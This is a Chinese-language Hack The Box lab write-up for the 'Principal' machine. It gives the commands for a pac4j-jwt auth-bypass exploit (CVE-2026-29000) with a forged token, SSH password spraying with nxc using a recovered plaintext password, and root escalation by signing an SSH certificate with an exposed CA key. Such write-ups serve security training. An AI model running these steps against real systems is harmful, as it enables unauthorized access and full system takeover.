HTB_Principal靶机渗透
HTB_Principal靶机渗透
连接vpn后开机靶机:

一、信息搜集:
端口扫描:

开放端口22,8080
指纹探测:

8080端口web:

jetty-web-server版本:
pac4j-jwt/6.0.3

任务三:哪个端点提供 Web 应用程序的主 JavaScript 文件?
/static/js/app.js
任务四:哪个 API 端点包含公钥?
/api/auth/jwks

搜索pac4jjwt/6.0.3 版本,可确定对应漏洞为 CVE-2026-29000

二、漏洞利用:
下载poc并且利用:
git clone https://github.com/PtechAmanja/CVE-2026-29000-pac4j-jwt-auth-bypass.git
python3 poc.py \
--jwks-url http://10.129.244.220:8080/api/auth/jwks \
--target http://10.129.244.220:8080/api/dashboard

sessionStorage.setItem("auth_token", "eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJjdHkiOiJKV1QiLCJlbmMiOiJBMTI4R0NNIn0.I5adzRbuJQ52N7de_xON2wzXA9gzyLMCdk7fpZx6jCF7pBdgDLKMGoOMn-DP2d41gG8agMkCUjLTaAl3RYc-RFX4SBBgKlzwVmEE419Fyk2gdT-yrWPpNOUw0ARH4hycCfk48ZmbPNGoALO1o7KV_hwBfifZgsKYI5Nx5vYwasQq4P1gTRdX4_4jY0a1QO47M65XRp0bdyRS2j15qGmzOBeokJbCcvjjHpteZ2zvNIyafS_ObRviPC8Rtxq0m61Q_7mKWGT7_715BSOm8miOnCmw1z6gDtNHmoNvdl_-OXrLa1xNdiZJPe6_eEUt_uXPh_Y8wg-0RtziDJlx4yyciA.Marw3Rxusw8m8Jpd.NJ8bwXGGXorMf8wVJIOG0gAtnFEDyO5EagpTbf0FQcHpjrM8Er4z0tN5q34VtXU-SjI1bjmoE4JXsweGZGLavTvpiGsxF-Mqgpf99_zAl9UabwqmzI3Y97Eu2sX-iR5WTM3cSOYXUTGUnyNNl_Po9pA6qzfzLSZ5W0UqZtFAgr6jJ07yWI3y0ajtTCaa7hTDbFx7QBTvgJ8garydRO9Ck-PB.PjNqhvPoq5qSZ4Y_LD4Bsw")
打开开发者工具 → 控制台:
sessionStorage.setItem("auth_token", "<PASTE_TOKEN_HERE>")

然后导航到/dashboard
直接进入后台


任务 5
网页应用程序中可以找到的明文密码是什么?
D3pl0y_$$H_Now42!
利用该密码以及用户列表,我们可以对 SSH 服务实施密码喷洒攻击,以此判断是否有用户正在使用该密码。将用户名保存至名为 user.txt 的文件中,随后使用 nxc 工具执行密码喷洒操作,传入用户名文件、密码以及 IP 地址作为参数。
将下面的用户整合成一个user.txt字典


nxc ssh 10.129.244.220 -u user.txt -p 'D3pl0y_$$H_Now42!'

找到了svc-deploy这个用户使用的这个密码

ssh连上去找到flag

属于deployers组

三、提权利用
上传linpeas进行信息搜集

任务 9
部署者组对哪个目录有读取权限?
该用户属于部署者用户组,若我们枚举文件系统,会发现该用户组拥有对 /opt/principal/ssh 目录的访问权限。
直接搜当前组可写 / 可读的目录,可以用:
find / -type d -group deployers -perm /g+r 2>/dev/null


任务 10
哪个文件包含为 Principal 的自定义 sshd 配置?
/opt/principal/ssh目录下面有私钥文件
svc-deploy@principal:/opt/principal/ssh$ cat README.txt
CA keypair for SSH certificate automation.
This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.
Key details:
Algorithm: RSA 4096-bit
Created: 2025-11-15
Purpose: Automated deployment authentication
文件还提及了一个 deploy.sh 脚本,但我们无法读取此文件。检查一下 sshd 配置。
svc-deploy@principal:/opt/principal/ssh$ cat /etc/ssh/sshd_config.d/60-principal.conf
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub
在此我们可以看到一处关键的配置错误。配置了 TrustedUserCAKeys,却未配置 AuthorizedPrincipalsFile 或 AuthorizedPrincipalsCommand。
当 OpenSSH 配置了 TrustedUserCAKeys 却未指定 AuthorizedPrincipalsFile 时:
任何由可信证书颁发机构签名的证书都会被接受
证书中列出的主体会与登录所用的用户名进行匹配
同时还发现,PermitRootLogin 被设为 prohibit-password,这意味着通过密码进行 root 登录已被禁用。但基于证书的认证方式仍被允许。由于我们持有证书颁发机构的私钥,就可以用任意主体(包括 root)签发证书!从而伪造root登录
因此,为提升权限,将生成一对新的 SSH 密钥,用 CA 对公钥进行签名,并指定 root 为主体,最后使用伪造的证书以 root 身份通过 SSH 登录。
首先我们在 /tmp 目录下生成一对新密钥
ssh-keygen -t ed25519 -f /tmp/pwn -N ""
ssh-keygen -s /opt/principal/ssh/ca -I "pwn-root" -n root
-V +1h /tmp/pwn.pub

验证证书是否包含root主体。
ssh-keygen -L -f /tmp/pwn-cert.pub

用伪造的密钥使用ssh登录到root用户,完成提权
ssh -i /tmp/pwn root@localhost

提交位于 root 用户家目录中的 flag。至此,靶机渗透完成
- 感谢你赐予我前进的力量